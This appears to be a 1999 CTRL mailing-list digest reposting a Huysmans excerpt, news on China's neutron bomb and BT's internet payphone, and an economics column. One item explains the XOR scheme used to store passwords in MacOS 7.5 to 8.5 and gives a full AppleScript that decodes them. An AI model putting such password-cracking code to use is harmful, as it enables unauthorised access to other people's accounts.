-Caveat Lector- from: http://www.aci.net/kalliste/ <A HREF="http://www.aci.net/kalliste/">The Home Page of J. Orlin Grabbe</A> ----- Today's Lesson From La-Bas by J. K. Huysmans "But all this," said Des Hermies, "does not explain how, from a man of piety, he [Gilles de Rais] was suddenly changed into a Satanist, from a placid scholar into a violator of little children, a 'ripper' of boys and girls." "I have already told you that there are no documents to bind together the two parts of this life so strangely divided, but in what I have been narrating you can pick out some of the threads of the duality. To be precise, this man, as I have just had you observe, was a true mystic. He witnessed the most extraordinary events which history has ever shown. Association with Jeanne d'Arc certainly stimulated his desires for the divine. Now from lofty Mysticism to base Satanism there is but one step. In the Beyond all things touch. He carried his zeal for prayer into the territory of blasphemy. He was guided and controlled by that group of sacrilegious priests, transmuters of metals, and evokers of demons, by whom he was surrounded at Tiffauges." "You think, then, that the Maid of Orleans was really responsible for his career of evil?" "To a certain point. Consider. She roused an impetuous soul, ready for anything, as well as for orgies of saintliness as for ecstacies of crime. "There was no transition between the two phases of his being. The moment Jeanne was dead he fell into the hands of sorcerers who were the most learned of scoundrels and the most unscrupulous of scholars. These men who frequented the chatreau de Tiffauges were fervent Latinists, marvellous conversationalists, possessors of forgotten arcana, guardians of world-old secrets. Gilles was evidently more fitted to live with them than with men like Dunois and La Hire. These magicians . . . [were] the patricians of intellect of the fifteenth century. Not having found places in the Church, where they would certainly have accepted no position beneath that of cardinal or pope, they could, in those troubled times of ignorance, but take refuge in the patronage of a great lord like Gilles." ===== Nukes R Us China Says It Has Neutron Bomb And what's more we built it ourselves and Taiwan doesn't have one BEIJING - Buried in a tiresome-looking 40-page government report lay what appeared to be a minor scientific detail, almost invisible because it was mentioned so casually, in a passing reference three sentences long. But it was not minor at all. China has designed a neutron weapon, the report said, as well as miniaturized nuclear weapons. It was the timing, not the content, of the revelation that made it so significant when it emerged on Thursday morning. Scientists have known for years that China had neutron weapon capability, having detected multiple tests over the last 11 years, but Thursday was the first time that China had publicly asserted owning such technology. Why now ? The target of this news was apparently Taiwan. Coming just days after Taiwan dropped its adherence to the idea that it and China are part of the same country, the revelation was timed to send a discreet message across the Taiwan straits: We got the stuff, so watch out. The neutron weapon news was hidden in a report intended to rebut the findings of the Cox Committee report, which was released by a U.S. congressional committee in May. The Cox report accused China of having stolen information on the designs for the neutron weapon as well as for the W-88, the most advanced miniaturized warhead. The rebuttal denies that China took any secret nuclear technology from the United States, and accuses the Cox report of being politically motivated, full of distortions and painted with a layer of racism directed at Chinese people and at Chinese-Americans. The principal suspect in the espionage allegation is Wen Ho Lee, a Taiwan-born American who was fired from his job at the Los Alamos laboratory, but has yet to be charged with any crime for lack of evidence. China's assertions on Thursday, similar to earlier Chinese denials of the Cox report, were most curious for their timing, inexplicably coming nearly two months after the Cox report was released. The question of the week in Beijing is how China will ultimately respond to Taiwan's shifting stance toward the mainland. Zhao Qizheng, the senior official who delivered the rebuttal Thursday, said when asked afterward that he could not say whether China would take military action. Paradoxically, the announcement on Thursday may signal China's decision to keep to a relatively restrained response to the goings-on in Taiwan. Although any mention of a neutron bomb sounds intimidating, since it is designed to kill people with intense doses of radiation that leave buildings undisturbed, the way the news was delivered was notably lacking in the kind of rancor and fist-on-the-table banging that Beijing has shown in the past. ''Beijing learned from the last time, in 1996,'' said a former Clinton administration official visiting Beijing. ''They know it's counterproductive to launch missiles.'' The former official was referring to China's aggressive stance toward Taiwan three years ago, when Beijing was infuriated by political maneuvering by President Lee Teng-hui of Taiwan that led to his visit to the United States, the first by a Taiwanese president since Washington dropped diplomatic recognition two decades ago. China launched missiles into the ocean near Taiwan to try to intimidate voters just before the presidential election in Taiwan. Instead, the panic gave Mr. Lee a decisive victory. This week, Mr. Lee made another move that risked angering Beijing, dropping Taiwan's long-standing adherence to a ''one China'' formulation that has helped avert war with China for decades by sidestepping the sensitive issue of sovereignty. China's media responded with tough-sounding warnings, and a typical dose of vitriol in the People's Daily editorials. But no senior leader emerged to speak on the matter. On Thursday, for instance, state television's evening news calmly reported on a trip to Mongolia by President Jiang Zemin and on a meeting held by Prime Minister Zhu Rongji on the economy, without highlighting the neutron bomb. China first tested a neutron weapon on Sept. 29, 1988, and did so on numerous occasions afterward. But until Thursday it has never publicly discussed that technology. The rebuttal, awkwardly entitled ''Facts Speak Louder Than Words and Lies Will Collapse on Themselves,'' asserts that China began work on neutron weapon research in the 1970s, when the United States and the Soviet Union intensified their arms race. ''China had no choice but to continue to carry out research and development of nuclear weapons technology and improve its nuclear weapons systems, mastering in succession the neutron bomb design technology and the nuclear weapon miniaturization technology,'' the report says. It denies that China stole the technology involved in those two designs, and argues that many design details of the nuclear weapons cited in the Cox report are available in unclassified documents and on the Internet. It also rejects allegations in the Cox report that China stole U.S. satellite launching technology from sites in China where satellites were launched. China's leaders act offended and exasperated by the allegations of espionage, which occur as they are involved in other struggles with the United States. This week, U.S. officials are in Beijing negotiating compensation for NATO's bombing of the Chinese Embassy in Belgrade. Chinese leaders still say they find it hard to believe the bombing was accidental, as NATO insists. Only if the compensation issue is settled will China and the U.S. be able to proceed on resuming negotiations on getting China membership in the World Trade Organization, a goal that China's leaders still seem determined to seek. International Herald Tribune, July 16, 1999 Digital Society New Telephone Has 24-Hour Link to Internet British Telecom kicks American butt THE world's first telephone kiosk with 24-hour Internet access and e-mail facility was unveiled yesterday. BT announced plans to instal 1,000 of the phones in airports, railway stations and shopping centres by March. The company also planned to instal a video link on the new "multiphones", allowing the caller to see the person to whom they are speaking. The first phone was unveiled by the model Caprice at the Eurostar terminal at Waterloo yesterday. Malcolm Newing, BT Payphones director, said: "The multiphone is a world first for BT. "We have been around the world and have not found a phone which offers the same services and nationwide telephone link-up. With multiphone we are bringing multimedia to the masses. Over 50 million people do not have access to the Internet either at work or at home and it is our intention to open up the technology to them. "In addition, new developments will be added to the multiphone later this year, including the videophone. We are bringing this in almost two years early and our first videophone will be in the Millennium Dome. "We are starting out with a thousand phones but if they are successful, which we believe they will be, the number will multiply many times over." The multiphone looks similar to BT's existing payphones but has a 12in colour, touch-sensitive screen that allows the user to pick from a range of options. It allows on-line users to set up a free personal e-mail address or sign up with other e-mail providers accessible on the Internet. Users can surf the Net on a pay-as-you-go basis using a BT phonecard or credit card. The phones also provide up-to-the-minute information on news, sport, travel and entertainment, much of which is free of charge. E-mail and Internet calls are to be charged at 10p a minute, while normal phone calls will be charged at BT's normal rate. Mr Newing said the new phones, which cost �5,000 to install, were protected against vandals with the screen made of super-strength glass to withstand a bashing with the handset. He said the software was also robust and was used at Canadian nuclear power stations. Caprice looked genuinely stunned as she pulled a red blanket off to reveal the high-tech phone. Asked to give a demonstration on how to use the phone she declined but insisted: "You just press the button, it's idiot proof." She said she was not a regular Internet user and said: "I am an idiot with computers, but I can use these." The London Telegraph, July 16, 1999 The World's Most Overrated Computer Cracking MacOS Encryption From: Dawid adix Adamski, [EMAIL PROTECTED] To: [EMAIL PROTECTED] The encryption algorithm in MacOS system is simple and the password can be easily decoded. Password is stored in Users & Groups Data File in Preferences folder. Offset is different on each system and depends on Users & Groups configuration, but it always lie after owner's username. It's not so difficult to find it using hex editor, even if we don't know owner's username. Here are some examples of encrypted passwords: 00 04 06 18 0D 0A 19 0B = stayaway 0A 1F 10 1B 00 07 75 1E = yellow 1C 1B 16 14 12 62 10 7B = owner 07 02 13 1A 1E 0F 1A 14 = turnpage 27 25 33 27 27 39 24 7E = Trustno1 AA BB CC DD EE FF GG HH = aa bb cc dd ee ff gg hh where: AA BB CC DD EE FF GG HH - encrypted password (hex) aa bb cc dd ee ff gg hh - decrypted password in ASCII codes (hex) aa=AA XOR 73H bb=BB XOR AA XOR 70H cc=CC XOR BB XOR 63H dd=DD XOR CC XOR 67H ee=EE XOR DD XOR 74H ff=FF XOR EE XOR 70H gg=GG XOR FF XOR 72H hh=HH XOR GG XOR 6BH An example: Let's take OO 04 06 18 0D 0A 19 0B 00H XOR 73H = 73H = s 04H XOR 00H = 04H; 04H XOR 70H = 74H = t 06H XOR 04H = 02H; O2H XOR 63H = 61H = a 18H XOR 06H = 1EH; 1EH XOR 67H = 79H = y 0DH XOR 18H = 15H; 15H XOR 74H = 61H = a 0AH XOR 0DH = 07H; 07H XOR 70H = 77H = w 19H XOR 0AH = 13H; 13H XOR 72H = 61H = a 0BH XOR 19H = 12H; 12H XOR 6BH = 79H = y tested on: MacOS 7.5.3, 7.5.5, 8.1, 8.5 I wrote an apple script to break passwords --------CUT HERE-------- (* MacOS Pass 2.1 by adix 15.06.99; Apple Script English *) global lbin, bit1, bit2, bitk set hex1 to text returned of (display dialog "Enter encrypted password (hex): " default answer "" buttons {" Ok "} default button " Ok " with icon stop) set Alicia to "0111001101110000011000110110011101110100011100000111001001101011" set pass to "" set lbin to "" set razem to "" set i to 1 set skok to 0 set ile to count items in hex1 if ile = 0 or ile = 1 then set pass to "" else repeat until (i > (ile - 1)) set kodascii to 0 set razem to "" set zn to items (i) thru (i + 1) in hex1 set lbin to hex2bin(zn) repeat with a from 1 to 8 set bit1 to item (a + skok) of Alicia xor(a) set razem to {razem & bitk} as string if i < 2 then set kodascii to {kodascii + bitk * (2 ^ (8 - a))} end if end repeat if i < 2 then set pass to {pass & (ASCII character kodascii)} else set zn to items (i - 2) thru (i - 1) in hex1 set lbin to hex2bin(zn) repeat with a from 1 to 8 set bit1 to item a of razem xor(a) set kodascii to {kodascii + bitk * (2 ^ (8 - a))} end repeat set pass to {pass & (ASCII character kodascii)} end if set skok to skok + 8 set i to i + 2 end repeat end if display dialog "Password: " & pass & return & return & "by adix" buttons {" Ok "} default button " Ok " with icon note on hex2bin(zn) set temphex to {"0000", "0001", "0010", "0011", "0100", "0101", "0110", "0111", "1000", "1001", "1010", "1011", "1100", - "1101", "1110", "1111"} set t2hex to "0123456789ABCDEF" set bin to "" repeat with j in zn set t1 to j as string repeat with i from 1 to (count items in t2hex) if ((item i in t2hex) = t1) then set temp to (item i in temphex) exit repeat end if end repeat set bin to {bin & temp} as string end repeat return (bin) end hex2bin on xor(a) set bit2 to item a in lbin if bit1 = bit2 then set bitk to "0" else set bitk to "1" end if end xor --------CUT HERE-------- Dawid adix Adamski [EMAIL PROTECTED] Chinese Economy Is the Renminbi a Millstone Around China's Neck? The banking sector is weak and economic deflation rolls on. China's exchange rate peg was a rock of stability in the Asian crisis. Now there are hints that the country's leaders are starting to see it instead as a millstone around their necks. With the region on the road to recovery, it is time to look again at whether the currency is at the right level. On competitiveness grounds alone, the case for devaluation is not convincing. There has been a significant bounce back in other Asian currencies. True, China's trade surplus declined by 65 per cent in the first half of the year; but some of this is a result of a crackdown on smuggling. But a change in the exchange rate may be needed for another reason - to counteract the severe deflation crippling the economy. Prices in China have been falling for a year and a half. Personal saving is increasing at an annual rate of 20 per cent as consumers delay purchases and worry about job losses. Investment is in the doldrums, stockpiles are growing and companies are slashing prices to sell unwanted goods. The government's response so far has been a massively expansionary fiscal policy. This has succeeded in preventing a collapse in growth. But it has not stopped the deflationary spiral. Monetary policy is the obvious next step. Interest rates are close to six per cent, giving real rates of over nine per cent, much too high for an economy in need of stimulus. China's leaders have been reluctant to cut rates further because they fear a mass exit by depositors, which could trigger capital flight and a liquidity crisis in the banking system. These risks could be reduced by a more robust statement of support for the banks, and a strict application of capital controls. But still, the fragility of the banking system means that a drop in rates down to Japanese levels is impossible. Fiscal and monetary policy may not be quite enough. A case can therefore be made for a devaluation, which by raising import prices would help alleviate deflation. But China's exchange rate policy is not determined by economics. It has become a symbol of China's commitment to global stability, and a proxy for the fight between China's reformers, led by Zhu Rongji, who want to maintain the rate, and their opponents. A change in exchange rate policy would have to be conducted very carefully. It would have to be a gradual slide, rather than a one-off adjustment, and be of a modest size. Most importantly, to avoid panic, Mr Zhu must be seen to be totally in control. For the sake of regional stability, China's economy must be pulled out of its deflationary spiral. If this cannot be achieved through monetary and fiscal policy, then the risk of a devaluation may be worth taking. The Financial Times, July 16, 1999 ----- Aloha, He'Ping, Om, Shalom, Salaam. Em Hotep, Peace Be, Omnia Bona Bonis, All My Relations. Adieu, Adios, Aloha. Amen. Roads End Kris DECLARATION & DISCLAIMER ========== CTRL is a discussion and informational exchange list. Proselyzting propagandic screeds are not allowed. Substance�not soapboxing! These are sordid matters and 'conspiracy theory', with its many half-truths, misdirections and outright frauds is used politically by different groups with major and minor effects spread throughout the spectrum of time and thought. That being said, CTRL gives no endorsement to the validity of posts, and always suggests to readers; be wary of what you read. CTRL gives no credeence to Holocaust denial and nazi's need not apply. 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